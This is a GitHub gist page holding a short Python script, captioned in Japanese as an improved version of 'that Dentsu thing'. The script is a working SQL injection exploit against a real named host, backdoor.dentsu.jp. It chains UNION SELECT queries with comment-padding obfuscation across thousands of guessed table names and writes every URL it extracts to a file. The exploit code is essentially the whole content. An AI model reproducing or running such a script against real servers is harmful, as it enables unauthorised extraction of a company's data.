Created
June 18, 2014 19:12
-
-
Save yagihash/eb005af48aaf5a7b439c to your computer and use it in GitHub Desktop.
電通のアレ。改善したやつ。
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import sys | |
import urllib.request | |
o = open(sys.argv[1], "w") | |
url = "http://backdoor.dentsu.jp/query/?q=%%27/**/%s%%23&ts=4677631&_=1403019525069" | |
query = "UNION/**/SELECT/**/*/**/FROM/**/%s/**/" | |
def get_urls(url, union): | |
dst = url % union | |
contents = urllib.request.urlopen(dst).read().decode("utf-8") | |
contents = contents.replace("\\", "") | |
urls = re.findall(r'"http:.+?"', contents) | |
return [u.replace('"', "") for u in urls] | |
union = "" | |
for i in range(1, 20000): | |
table = "table%s" % ("00000%d" % i)[-5:] | |
union += query % table | |
if i % 175 == 0: | |
urls = get_urls(url, union) | |
union = "" | |
o.write("\n".join(urls) + "\n") | |
else: | |
urls = get_urls(url, union) | |
union = "" | |
o.write("\n".join(urls) + "\n") | |
o.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment